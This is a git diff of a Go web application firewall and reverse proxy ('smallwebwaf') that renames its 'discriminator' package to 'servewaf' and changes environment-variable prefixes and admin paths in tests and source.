func startServeWAFWriting(t *testing.T, text string) string {
|
||||
t.Helper()
|
||||
|
||||
listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
|
||||
@@ -1105,7 +1101,7 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
|
||||
"a status below 100": func(t *testing.T) string {
|
||||
t.Helper()
|
||||
|
||||
return startDiscriminatorWriting(t, "HTTP/1.1 099 Odd\r\nContent-Length: 0\r\n\r\n")
|
||||
return startServeWAFWriting(t, "HTTP/1.1 099 Odd\r\nContent-Length: 0\r\n\r\n")
|
||||
},
|
||||
"a 101 that holds its connection open": answeringWith(switchAndHold),
|
||||
} {
|
||||
@@ -1130,7 +1126,7 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
|
||||
t.Errorf("line %v, want status 502 and no disposition", line)
|
||||
}
|
||||
|
||||
out.waitFor(t, "discriminator's answer is dropped")
|
||||
out.waitFor(t, "servewaf's answer is dropped")
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -1139,7 +1135,7 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
|
||||
func TestAnAnswerThatCannotBePassedOnGetsNoReport(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startDiscriminator(t, overOneMiB(dispositionDeny))
|
||||
standIn := startServeWAF(t, overOneMiB(dispositionDeny))
|
||||
addr, out := startRProxy(t, standIn.URL, nowhere, nil)
|
||||
|
||||
if got := get(t, addr, "/"); got.status != http.StatusBadGateway {
|
||||
@@ -1196,14 +1192,14 @@ func TestWithoutAnAnswerTheDefaultDispositionDecides(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestAVisitorThatGoesAwayWhileDiscriminatorIsAskedGetsNoDefault(t *testing.T) {
|
||||
func TestAVisitorThatGoesAwayWhileServeWAFIsAskedGetsNoDefault(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, disposition := range []string{dispositionAllow, dispositionDeny} {
|
||||
t.Run("with the default "+disposition, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startDiscriminator(t, func(_ http.ResponseWriter, r *http.Request) {
|
||||
standIn := startServeWAF(t, func(_ http.ResponseWriter, r *http.Request) {
|
||||
<-r.Context().Done()
|
||||
})
|
||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
||||
@@ -1226,8 +1222,8 @@ func TestAVisitorThatGoesAwayWhileDiscriminatorIsAskedGetsNoDefault(t *testing.T
|
||||
t.Errorf("line %v, want status 0 and no disposition", line)
|
||||
}
|
||||
|
||||
if out.has("discriminator gave no answer") {
|
||||
t.Error("rproxy warned that discriminator gave no answer")
|
||||
if out.has("servewaf gave no answer") {
|
||||
t.Error("rproxy warned that servewaf gave no answer")
|
||||
}
|
||||
|
||||
standIn.wantNoReport(t)
|
||||
@@ -1242,13 +1238,13 @@ func TestRProxyWarnsWhenTheDefaultDecides(t *testing.T) {
|
||||
addr, out := startRProxy(t, nowhere, app.URL, nil)
|
||||
|
||||
wantGreeting(t, get(t, addr, "/"))
|
||||
out.waitFor(t, "discriminator gave no answer")
|
||||
out.waitFor(t, "servewaf gave no answer")
|
||||
}
|
||||
|
||||
func TestSendsNoReportWithoutAnAnswer(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startDiscriminator(t, func(_ http.ResponseWriter, r *http.Request) {
|
||||
standIn := startServeWAF(t, func(_ http.ResponseWriter, r *http.Request) {
|
||||
<-r.Context().Done()
|
||||
})
|
||||
app := startApp(t, greet)
|
||||
@@ -1269,35 +1265,35 @@ func TestAPathUnderOwnPrefixNeverReachesTheApp(t *testing.T) {
|
||||
})
|
||||
addr, _ := startRProxy(t, nowhere, app.URL, nil)
|
||||
|
||||
got := get(t, addr, "/_sww/metrics")
|
||||
got := get(t, addr, "/_smallwebwaf/metrics")
|
||||
if got.status != http.StatusNotFound {
|
||||
t.Errorf("answered %+v, want 404", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHealthCheckIsAnsweredWhileDiscriminatorIsDown(t *testing.T) {
|
||||
func TestHealthCheckIsAnsweredWhileServeWAFIsDown(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startDiscriminator(t, allow)
|
||||
standIn := startServeWAF(t, allow)
|
||||
app := startApp(t, greet)
|
||||
addr, out := startRProxy(t, nowhere, app.URL, nil)
|
||||
|
||||
got := get(t, addr, discriminator.HealthPath)
|
||||
got := get(t, addr, servewaf.HealthPath)
|
||||
if got.status != http.StatusOK || got.body != "ok\n" {
|
||||
t.Errorf("answered %+v, want ok", got)
|
||||
}
|
||||
|
||||
line := out.requestLine(t)
|
||||
if line["path"] != discriminator.HealthPath || line["disposition"] != nil {
|
||||
if line["path"] != servewaf.HealthPath || line["disposition"] != nil {
|
||||
t.Errorf("line %v, want one with no disposition", line)
|
||||
}
|
||||
|
||||
// With discriminator up too, it is not asked.
|
||||
// With servewaf up too, it is not asked.
|
||||
addr, _ = startRProxy(t, standIn.URL, app.URL, nil)
|
||||
get(t, addr, discriminator.HealthPath)
|
||||
get(t, addr, servewaf.HealthPath)
|
||||
|
||||
if len(standIn.questions) != 0 {
|
||||
t.Error("discriminator was asked about the health check")
|
||||
t.Error("servewaf was asked about the health check")
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1305,7 +1301,7 @@ func TestTheVisitorDoesNotWaitForTheReport(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
release := make(chan struct{})
|
||||
backend := startDiscriminatorAnsweringReports(t, deny,
|
||||
backend := startServeWAFAnsweringReports(t, deny,
|
||||
func(w http.ResponseWriter, r *http.Request) {
|
||||
select {
|
||||
case <-release:
|
||||
@@ -1340,16 +1336,16 @@ func TestTheVisitorDoesNotWaitForTheReport(t *testing.T) {
|
||||
_ = res.Body.Close()
|
||||
|
||||
if res.StatusCode != http.StatusForbidden {
|
||||
t.Errorf("status %d, want discriminator's 403", res.StatusCode)
|
||||
t.Errorf("status %d, want servewaf's 403", res.StatusCode)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestAReportDiscriminatorLeavesUnansweredIsDroppedAtTheTimeLimit(t *testing.T) {
|
||||
func TestAReportServeWAFLeavesUnansweredIsDroppedAtTheTimeLimit(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
release := make(chan struct{})
|
||||
backend := startDiscriminatorAnsweringReports(t, allow,
|
||||
backend := startServeWAFAnsweringReports(t, allow,
|
||||
func(w http.ResponseWriter, _ *http.Request) {
|
||||
<-release
|
||||
|
||||
@@ -1369,10 +1365,10 @@ func TestAReportDiscriminatorLeavesUnansweredIsDroppedAtTheTimeLimit(t *testing.
|
||||
out.waitFor(t, "a report is dropped")
|
||||
}
|
||||
|
||||
func TestAReportDiscriminatorRefusesIsDroppedWithAWarning(t *testing.T) {
|
||||
func TestAReportServeWAFRefusesIsDroppedWithAWarning(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
backend := startDiscriminatorAnsweringReports(t, allow,
|
||||
backend := startServeWAFAnsweringReports(t, allow,
|
||||
func(w http.ResponseWriter, _ *http.Request) {
|
||||
w.WriteHeader(http.StatusBadRequest)
|
||||
})
|
||||
@@ -1387,7 +1383,7 @@ func TestAReportDiscriminatorRefusesIsDroppedWithAWarning(t *testing.T) {
|
||||
func TestAReportAnswered101IsDroppedAtOnce(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
backend := startDiscriminatorAnsweringReports(t, allow, switchAndHold)
|
||||
backend := startServeWAFAnsweringReports(t, allow, switchAndHold)
|
||||
app := startApp(t, greet)
|
||||
addr, out := startRProxy(t, backend, app.URL, map[string]string{
|
||||
timeoutSetting: "60000",
|
||||
@@ -1400,7 +1396,7 @@ func TestAReportAnswered101IsDroppedAtOnce(t *testing.T) {
|
||||
func TestAReportDueAfterWaitForReportsIsDropped(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startDiscriminator(t, allow)
|
||||
standIn := startServeWAF(t, allow)
|
||||
app := startApp(t, greet)
|
||||
addr, out, server := startServer(t, standIn.URL, app.URL, nil)
|
||||
|
||||
@@ -1416,7 +1412,7 @@ func TestReportGivesWhatHappened(t *testing.T) {
|
||||
|
||||
const body = "the visitor's body"
|
||||
|
||||
standIn := startDiscriminator(t, allow)
|
||||
standIn := startServeWAF(t, allow)
|
||||
app := startApp(t, greet)
|
||||
addr, out := startRProxy(t, standIn.URL, app.URL, nil)
|
||||
|
||||
@@ -1428,8 +1424,8 @@ func TestReportGivesWhatHappened(t *testing.T) {
|
||||
if report.RequestID == "" || report.Status != http.StatusOK ||
|
||||
report.RequestBytes != int64(len(body)) ||
|
||||
report.ResponseBytes != int64(len(greeting)) ||
|
||||
report.DurationTotalMS <= 0 || report.DurationUpstreamTotalMS <= 0 ||
|
||||
report.DurationUpstreamTotalMS > report.DurationTotalMS {
|
||||
report.DurationTotal <= 0 || report.DurationUpstreamTotal <= 0 ||
|
||||
report.DurationUpstreamTotal > report.DurationTotal {
|
||||
t.Errorf("report %+v, of %d bytes up and %d back", report, len(body), len(greeting))
|
||||
}
|
||||
|
||||
@@ -1446,7 +1442,7 @@ func TestWaitForReportsWaitsForAReportBeingSent(t *testing.T) {
|
||||
release := make(chan struct{})
|
||||
backend := httptest.NewServer(http.HandlerFunc(
|
||||
func(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Header.Get(discriminator.ClientHeader) != "" {
|
||||
if r.Header.Get(servewaf.ClientHeader) != "" {
|
||||
allow(w, r)
|
||||
|
||||
return
|
||||
@@ -1501,7 +1497,7 @@ func TestWaitForReportsWaitsForAReportBeingSent(t *testing.T) {
|
||||
func TestReportOfAWebSocketCountsWhatItCarried(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startDiscriminator(t, allow)
|
||||
standIn := startServeWAF(t, allow)
|
||||
app := startApp(t, echoAfterUpgrade)
|
||||
addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
||||
maxRequestTime: "2000",
|
||||
@@ -1556,7 +1552,7 @@ func TestAWebSocketPassesOnThatTheVisitorStoppedSending(t *testing.T) {
|
||||
|
||||
const goodbye = "sent after the visitor stopped sending\n"
|
||||
|
||||
standIn := startDiscriminator(t, allow)
|
||||
standIn := startServeWAF(t, allow)
|
||||
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||
conn, buffered, err := http.NewResponseController(w).Hijack()
|
||||
if err != nil {
|
||||
@@ -1614,7 +1610,7 @@ func TestAWebSocketPassesOnThatTheVisitorStoppedSending(t *testing.T) {
|
||||
//nolint:paralleltest // see above
|
||||
func TestASwitchNotPassedOnClosesTheAppsConnection(t *testing.T) {
|
||||
closed := make(chan error, 1)
|
||||
standIn := startDiscriminator(t, allow)
|
||||
standIn := startServeWAF(t, allow)
|
||||
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||
conn, buffered, err := http.NewResponseController(w).Hijack()
|
||||
if err != nil {
|
||||
@@ -1685,7 +1681,7 @@ func TestEachRequestGetsAFreshID(t *testing.T) {
|
||||
|
||||
const fromTraefik = "an-id-from-traefik"
|
||||
|
||||
standIn := startDiscriminator(t, allow)
|
||||
standIn := startServeWAF(t, allow)
|
||||
app := startApp(t, greet)
|
||||
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
||||
trustedProxies: localhost + "/32",
|
||||
@@ -1715,7 +1711,7 @@ func TestLogLineGivesTheRequestAsSent(t *testing.T) {
|
||||
body = "the visitor's body"
|
||||
)
|
||||
|
||||
standIn := startDiscriminator(t, allow)
|
||||
standIn := startServeWAF(t, allow)
|
||||
app := startApp(t, greet)
|
||||
addr, out := startRProxy(t, standIn.URL, app.URL, nil)
|
||||
|
||||
@@ -1748,7 +1744,7 @@ func TestLogLineGivesTheRequestAsSent(t *testing.T) {
|
||||
t.Errorf("default_disposition is %v, want it left out", line["default_disposition"])
|
||||
}
|
||||
|
||||
for _, name := range []string{"duration_request_ms", "duration_response_ms"} {
|
||||
for _, name := range []string{"duration_request", "duration_response"} {
|
||||
duration, ok := line[name].(float64)
|
||||
if !ok || duration <= 0 {
|
||||
t.Errorf("%s is %v, want a time", name, line[name])
|
||||
|
||||
@@ -11,15 +11,15 @@ import (
|
||||
"net/http"
|
||||
"strings"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||
"sneak.berlin/go/smallwebwaf/internal/servewaf"
|
||||
)
|
||||
|
||||
// answerBodyMaxBytes is the most of the body of discriminator's answer that is read.
|
||||
// answerBodyMaxBytes is the most of the body of servewaf's answer that is read.
|
||||
// It is far above any answer's.
|
||||
const answerBodyMaxBytes = 1 << 20
|
||||
|
||||
// reportAnswerMaxBytes is the most of the answer to a report that is read,
|
||||
// which has no body when discriminator takes the report.
|
||||
// which has no body when servewaf takes the report.
|
||||
const reportAnswerMaxBytes = 4 << 10
|
||||
|
||||
var (
|
||||
@@ -27,22 +27,21 @@ var (
|
||||
errReportRefused = errors.New("the report was answered")
|
||||
)
|
||||
|
||||
// discriminatorAnswer is what discriminator answered to a question.
|
||||
type discriminatorAnswer struct {
|
||||
// servewafAnswer is what servewaf answered to a question.
|
||||
type servewafAnswer struct {
|
||||
status int
|
||||
header http.Header
|
||||
body []byte
|
||||
}
|
||||
|
||||
// noteAnswer notes what discriminator answered. An answer without a valid disposition
|
||||
// notes nothing, and no report is due for it: discriminator holds no decision to report
|
||||
// noteAnswer notes what servewaf answered. An answer without a valid disposition
|
||||
// notes nothing, and no report is due for it: servewaf holds no decision to report
|
||||
// on.
|
||||
func (rq *request) noteAnswer(answer *discriminatorAnswer) {
|
||||
disposition := answer.header.Get(discriminator.DispositionHeader)
|
||||
func (rq *request) noteAnswer(answer *servewafAnswer) {
|
||||
disposition := answer.header.Get(servewaf.DispositionHeader)
|
||||
|
||||
switch disposition {
|
||||
case discriminator.DispositionAllow, discriminator.DispositionDeny,
|
||||
discriminator.DispositionClose:
|
||||
case servewaf.DispositionAllow, servewaf.DispositionDeny, servewaf.DispositionClose:
|
||||
rq.disposition = disposition
|
||||
rq.answered = true
|
||||
rq.asn = answer.header.Get(asnHeader)
|
||||
@@ -55,27 +54,27 @@ func (rq *request) noteAnswer(answer *discriminatorAnswer) {
|
||||
func (rq *request) handleNoUsableAnswer(ctx context.Context, err error) {
|
||||
switch {
|
||||
case ctx.Err() != nil:
|
||||
// The visitor went away while discriminator was being asked. discriminator has not
|
||||
// The visitor went away while servewaf was being asked. servewaf has not
|
||||
// failed, and nothing is noted. This panic has Go's server close the
|
||||
// connection without an answer, and log nothing; the deferred finish still
|
||||
// runs.
|
||||
panic(http.ErrAbortHandler)
|
||||
case errors.Is(err, errCannotPassOn):
|
||||
rq.h.processLog.Warn("discriminator's answer is dropped", "error", err.Error())
|
||||
rq.h.processLog.Warn("servewaf's answer is dropped", "error", err.Error())
|
||||
rq.answer(http.StatusBadGateway)
|
||||
default:
|
||||
// discriminator cannot be connected to, does not answer at all, or does not answer
|
||||
// within SWRP_TIMEOUT_MS. A request that keeps discriminator busy past
|
||||
// SWRP_TIMEOUT_MS, like any request while discriminator is overloaded, gets
|
||||
// servewaf cannot be connected to, does not answer at all, or does not answer
|
||||
// within SWRP_TIMEOUT_MS. A request that keeps servewaf busy past
|
||||
// SWRP_TIMEOUT_MS, like any request while servewaf is overloaded, gets
|
||||
// SWRP_DEFAULT_DISPOSITION here. deny closes this, at the cost of answering 503
|
||||
// whenever discriminator is slow. Making such requests hard to send is
|
||||
// whenever servewaf is slow. Making such requests hard to send is
|
||||
// https://git.eeqj.de/sneak/smallwebwaf/issues/182.
|
||||
rq.h.processLog.Warn("discriminator gave no answer", "error", err.Error())
|
||||
rq.h.processLog.Warn("servewaf gave no answer", "error", err.Error())
|
||||
|
||||
rq.disposition = rq.h.config.DefaultDisposition
|
||||
rq.byDefault = true
|
||||
|
||||
if rq.disposition == discriminator.DispositionAllow {
|
||||
if rq.disposition == servewaf.DispositionAllow {
|
||||
rq.passToApp(ctx)
|
||||
} else {
|
||||
rq.answer(http.StatusServiceUnavailable)
|
||||
@@ -83,10 +82,10 @@ func (rq *request) handleNoUsableAnswer(ctx context.Context, err error) {
|
||||
}
|
||||
}
|
||||
|
||||
// ask sends discriminator the question, and returns its answer, which must have come
|
||||
// ask sends servewaf the question, and returns its answer, which must have come
|
||||
// whole within SWRP_TIMEOUT_MS. It ends when ctx does, as when the visitor goes
|
||||
// away.
|
||||
func (rq *request) ask(ctx context.Context) (*discriminatorAnswer, error) {
|
||||
func (rq *request) ask(ctx context.Context) (*servewafAnswer, error) {
|
||||
ctx, cancel := context.WithTimeout(ctx, rq.h.config.Timeout)
|
||||
defer cancel()
|
||||
|
||||
@@ -95,7 +94,7 @@ func (rq *request) ask(ctx context.Context) (*discriminatorAnswer, error) {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
res, err := rq.h.discriminatorTransport.RoundTrip(question)
|
||||
res, err := rq.h.serveWAFTransport.RoundTrip(question)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("send the question: %w", err)
|
||||
}
|
||||
@@ -120,17 +119,17 @@ func (rq *request) ask(ctx context.Context) (*discriminatorAnswer, error) {
|
||||
return nil, fmt.Errorf("%w: its body is over 1 MiB", errCannotPassOn)
|
||||
}
|
||||
|
||||
return &discriminatorAnswer{res.StatusCode, res.Header, body}, nil
|
||||
return &servewafAnswer{res.StatusCode, res.Header, body}, nil
|
||||
}
|
||||
|
||||
// canBeAsked reports whether Go's client can send discriminator r as the visitor sent
|
||||
// canBeAsked reports whether Go's client can send servewaf r as the visitor sent
|
||||
// it. It cannot send these as they came:
|
||||
// - a target that does not start with /, or that starts with //;
|
||||
// - an empty Host, for which it sends discriminator's own address;
|
||||
// - an empty Host, for which it sends servewaf's own address;
|
||||
// - a Host holding an IPv6 zone, which it removes;
|
||||
// - more than one User-Agent, of which it sends the first;
|
||||
// - an empty User-Agent, which it leaves out, the one case that still goes to
|
||||
// discriminator.
|
||||
// servewaf.
|
||||
func canBeAsked(r *http.Request) bool {
|
||||
target, host := r.RequestURI, r.Host
|
||||
hostHasZone := strings.HasPrefix(host, "[") && strings.Contains(host, "%")
|
||||
@@ -170,13 +169,13 @@ func (rq *request) newQuestion(ctx context.Context) (*http.Request, error) {
|
||||
question.TransferEncoding = in.TransferEncoding
|
||||
|
||||
question.Header = in.Header.Clone()
|
||||
question.Header.Set(discriminator.ClientHeader, rq.client.String())
|
||||
question.Header.Set(discriminator.PeerHeader, rq.peer.String())
|
||||
question.Header.Del(discriminator.ContentLengthHeader)
|
||||
question.Header.Set(servewaf.ClientHeader, rq.client.String())
|
||||
question.Header.Set(servewaf.PeerHeader, rq.peer.String())
|
||||
question.Header.Del(servewaf.ContentLengthHeader)
|
||||
|
||||
announced := in.Header.Get("Content-Length")
|
||||
if announced != "" {
|
||||
question.Header.Set(discriminator.ContentLengthHeader, announced)
|
||||
question.Header.Set(servewaf.ContentLengthHeader, announced)
|
||||
}
|
||||
|
||||
question.Header.Set(requestIDHeader, rq.id)
|
||||
@@ -191,13 +190,13 @@ func (rq *request) newQuestion(ctx context.Context) (*http.Request, error) {
|
||||
return question, nil
|
||||
}
|
||||
|
||||
// answerWith gives the visitor discriminator's answer, less its disposition.
|
||||
func (rq *request) answerWith(answer *discriminatorAnswer) {
|
||||
// answerWith gives the visitor servewaf's answer, less its disposition.
|
||||
func (rq *request) answerWith(answer *servewafAnswer) {
|
||||
rq.prepareOwnAnswer(rq.requestDeadline())
|
||||
|
||||
header := rq.out.Header()
|
||||
maps.Copy(header, answer.header)
|
||||
header.Del(discriminator.DispositionHeader)
|
||||
header.Del(servewaf.DispositionHeader)
|
||||
|
||||
// Go's server adds a Content-Type it guesses from the body to a response whose
|
||||
// headers have no Content-Type key. The key with no value sends none.
|
||||
@@ -208,10 +207,10 @@ func (rq *request) answerWith(answer *discriminatorAnswer) {
|
||||
rq.send(answer.status, answer.body)
|
||||
}
|
||||
|
||||
// sendReport sends discriminator report on a goroutine of its own, so that the
|
||||
// sendReport sends servewaf report on a goroutine of its own, so that the
|
||||
// visitor does not wait for it. The report goes on after ctx, the request's own
|
||||
// context, has ended.
|
||||
func (h *handler) sendReport(ctx context.Context, report *discriminator.Report) {
|
||||
func (h *handler) sendReport(ctx context.Context, report *servewaf.Report) {
|
||||
h.reportsMu.Lock()
|
||||
defer h.reportsMu.Unlock()
|
||||
|
||||
@@ -227,9 +226,9 @@ func (h *handler) sendReport(ctx context.Context, report *discriminator.Report)
|
||||
})
|
||||
}
|
||||
|
||||
// postReport posts report to discriminator, and waits for its answer for up to
|
||||
// postReport posts report to servewaf, and waits for its answer for up to
|
||||
// SWRP_TIMEOUT_MS.
|
||||
func (h *handler) postReport(ctx context.Context, report *discriminator.Report) error {
|
||||
func (h *handler) postReport(ctx context.Context, report *servewaf.Report) error {
|
||||
body, err := json.Marshal(report)
|
||||
if err != nil {
|
||||
return fmt.Errorf("encode the report: %w", err)
|
||||
@@ -246,7 +245,7 @@ func (h *handler) postReport(ctx context.Context, report *discriminator.Report)
|
||||
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
|
||||
res, err := h.discriminatorTransport.RoundTrip(req)
|
||||
res, err := h.serveWAFTransport.RoundTrip(req)
|
||||
if err != nil {
|
||||
return fmt.Errorf("send the report: %w", err)
|
||||
}
|
||||
@@ -1,5 +1,5 @@
|
||||
// Package rules reads the rule files: the plain text files in
|
||||
// SWW_RULES_DIR, one rule to a line, that each request is checked
|
||||
// SWWAF_RULES_DIR, one rule to a line, that each request is checked
|
||||
// against, as the "Rule files" section of SPEC.md describes. They are read
|
||||
// at start, and again once the directory has had no change for a short
|
||||
// time after one is edited, added or removed.
|
||||
@@ -40,7 +40,7 @@ const (
|
||||
// extension ends the name of every rule file.
|
||||
const extension = ".rules"
|
||||
|
||||
// quietTime is how long SWW_RULES_DIR must go without a change before
|
||||
// quietTime is how long SWWAF_RULES_DIR must go without a change before
|
||||
// the rule files are read again, so that a file still being written, such
|
||||
// as one saved in place, appended to or copied in with scp, is read only
|
||||
// once whole.
|
||||
@@ -100,19 +100,19 @@ type Rule struct {
|
||||
|
||||
// Params are what Load needs.
|
||||
type Params struct {
|
||||
// Dir is the directory of the rule files (SWW_RULES_DIR).
|
||||
// Dir is the directory of the rule files (SWWAF_RULES_DIR).
|
||||
Dir string
|
||||
// Enabled is SWW_RULES_ENABLED: while it is false, no file is read
|
||||
// Enabled is SWWAF_RULES_ENABLED: while it is false, no file is read
|
||||
// and no rule loaded.
|
||||
Enabled bool
|
||||
// ProcessLog receives how many rules were read, and the error in a
|
||||
// rule file edited while sww runs.
|
||||
// rule file edited while smallwebwaf runs.
|
||||
ProcessLog *slog.Logger
|
||||
// Alerts receive a file_error alert for that error.
|
||||
Alerts *alerts.Queue
|
||||
}
|
||||
|
||||
// Files are the rule files of a running sww, and the rules read
|
||||
// Files are the rule files of a running smallwebwaf, and the rules read
|
||||
// from them. They are safe for concurrent use.
|
||||
type Files struct {
|
||||
params Params
|
||||
@@ -271,7 +271,7 @@ func (f *Files) logRead(count int) {
|
||||
func read(dir string) ([]Rule, string, error) {
|
||||
entries, err := os.ReadDir(dir)
|
||||
if err != nil {
|
||||
return nil, dir, fmt.Errorf("SWW_RULES_DIR cannot be read: %w", err)
|
||||
return nil, dir, fmt.Errorf("SWWAF_RULES_DIR cannot be read: %w", err)
|
||||
}
|
||||
|
||||
var rules []Rule
|
||||
@@ -299,7 +299,7 @@ func read(dir string) ([]Rule, string, error) {
|
||||
// readFile appends the rules of the rule file at path to rules. places
|
||||
// are where each id read so far is, and gain those of the file.
|
||||
func readFile(path string, rules []Rule, places map[string]string) ([]Rule, error) {
|
||||
data, err := os.ReadFile(path) //nolint:gosec // a rule file, in SWW_RULES_DIR
|
||||
data, err := os.ReadFile(path) //nolint:gosec // a rule file, in SWWAF_RULES_DIR
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
@@ -298,7 +298,7 @@ func TestDirectoryThatDoesNotExistStopsTheStart(t *testing.T) {
|
||||
|
||||
dir := filepath.Join(t.TempDir(), "rules.d")
|
||||
|
||||
wantRefused(t, dir, "SWW_RULES_DIR cannot be read: open "+dir+
|
||||
wantRefused(t, dir, "SWWAF_RULES_DIR cannot be read: open "+dir+
|
||||
": no such file or directory")
|
||||
}
|
||||
|
||||
@@ -321,7 +321,7 @@ func TestEmptyDirectoryLoadsNoRulesAndSaysSo(t *testing.T) {
|
||||
func TestRuleFilesOffReadNothing(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// SWW_RULES_DIR does not exist, which would stop the start.
|
||||
// SWWAF_RULES_DIR does not exist, which would stop the start.
|
||||
params, _ := newParams(filepath.Join(t.TempDir(), "rules.d"))
|
||||
params.Enabled = false
|
||||
|
||||
@@ -601,7 +601,7 @@ func wantRefused(t *testing.T, dir, want string) {
|
||||
}
|
||||
|
||||
// get returns a GET request for target, a path and an optional query, as
|
||||
// sww's server reads it, without a user agent.
|
||||
// smallwebwaf's server reads it, without a user agent.
|
||||
func get(t *testing.T, target string) *http.Request {
|
||||
t.Helper()
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package discriminator
|
||||
package servewaf
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
@@ -42,20 +42,20 @@ var (
|
||||
|
||||
// answerHealth answers a request for the health endpoint.
|
||||
func (rq *request) answerHealth() {
|
||||
rq.line.Action = requestlog.ActionOwnEndpoint
|
||||
rq.line.Action = requestlog.ActionAdmin
|
||||
// Set here rather than left to Go's server, which would set it only
|
||||
// after the log line has taken the response's headers.
|
||||
rq.out.Header().Set("Content-Type", "text/plain; charset=utf-8")
|
||||
_, _ = io.WriteString(rq.out, "ok\n")
|
||||
}
|
||||
|
||||
// answerAdmin answers a request for one of discriminator's own endpoints. Each
|
||||
// answerAdmin answers a request for one of servewaf's own endpoints. Each
|
||||
// needs a token, sent as Authorization: Bearer <token>: the metrics
|
||||
// SWW_METRICS_TOKEN, the others SWW_ADMIN_TOKEN. A request without it is
|
||||
// SWWAF_METRICS_TOKEN, the others SWWAF_ADMIN_TOKEN. A request without it is
|
||||
// refused with 401. An endpoint whose token is unset answers 404, as any other
|
||||
// path does.
|
||||
func (rq *request) answerAdmin() {
|
||||
rq.line.Action = requestlog.ActionOwnEndpoint
|
||||
rq.line.Action = requestlog.ActionAdmin
|
||||
|
||||
token, answer := rq.endpoint()
|
||||
|
||||
@@ -250,7 +250,7 @@ type clientAnswer struct {
|
||||
Bans []state.BanEntry `json:"bans"`
|
||||
}
|
||||
|
||||
// showClient answers GET ClientsPath<ip> with what discriminator knows of the client:
|
||||
// showClient answers GET ClientsPath<ip> with what servewaf knows of the client:
|
||||
// its counters, its history, which holds its country as last looked up and its
|
||||
// offences, and its bans with their notes.
|
||||
func (rq *request) showClient() {
|
||||
@@ -1,4 +1,4 @@
|
||||
package discriminator_test
|
||||
package servewaf_test
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
@@ -10,15 +10,15 @@ import (
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
"sneak.berlin/go/smallwebwaf/internal/servewaf"
|
||||
"sneak.berlin/go/smallwebwaf/internal/state"
|
||||
)
|
||||
|
||||
const (
|
||||
adminToken = "SWW_ADMIN_TOKEN" //nolint:gosec // the setting's name
|
||||
// adminSecret is the SWW_ADMIN_TOKEN the tests set, and adminBearer
|
||||
adminToken = "SWWAF_ADMIN_TOKEN" //nolint:gosec // the setting's name
|
||||
// adminSecret is the SWWAF_ADMIN_TOKEN the tests set, and adminBearer
|
||||
// how a request carries it.
|
||||
adminSecret = "fedcba9876543210fedcba9876543210"
|
||||
adminBearer = "Bearer " + adminSecret
|
||||
@@ -40,7 +40,7 @@ func TestAdminEndpointsAreOffWhileTheTokenIsUnset(t *testing.T) {
|
||||
// An empty token does not match the unset one either.
|
||||
for _, authorization := range []string{adminBearer, bearer, "Bearer ", ""} {
|
||||
for _, e := range adminEndpoints() {
|
||||
s.ownEndpointRequest(authorization, e.method, e.path, e.body, http.StatusNotFound)
|
||||
s.adminRequest(authorization, e.method, e.path, e.body, http.StatusNotFound)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -67,7 +67,7 @@ func TestAdminEndpointsNeedTheAdminToken(t *testing.T) {
|
||||
for _, authorization := range []string{
|
||||
"", bearer, "Bearer " + strings.ToUpper(adminSecret), "Basic " + adminSecret,
|
||||
} {
|
||||
got := s.ownEndpointRequest(authorization, e.method, e.path, e.body,
|
||||
got := s.adminRequest(authorization, e.method, e.path, e.body,
|
||||
http.StatusUnauthorized)
|
||||
if got.header.Get("WWW-Authenticate") != "Bearer" {
|
||||
t.Errorf("%s %s with %q was answered without WWW-Authenticate: Bearer",
|
||||
@@ -86,13 +86,13 @@ func TestAdminEndpointsNeedTheAdminToken(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// Any other request under /_sww/ is not found.
|
||||
// Any other request under /_smallwebwaf/ is not found.
|
||||
for _, e := range []adminEndpoint{
|
||||
{http.MethodPut, discriminator.BansPath, banOtherClient},
|
||||
{http.MethodDelete, discriminator.BansPath, ""},
|
||||
{http.MethodGet, discriminator.BansPath + "/" + otherClient, ""},
|
||||
{http.MethodPost, discriminator.ClientsPath + otherClient, ""},
|
||||
{http.MethodGet, strings.TrimSuffix(discriminator.ClientsPath, "/"), ""},
|
||||
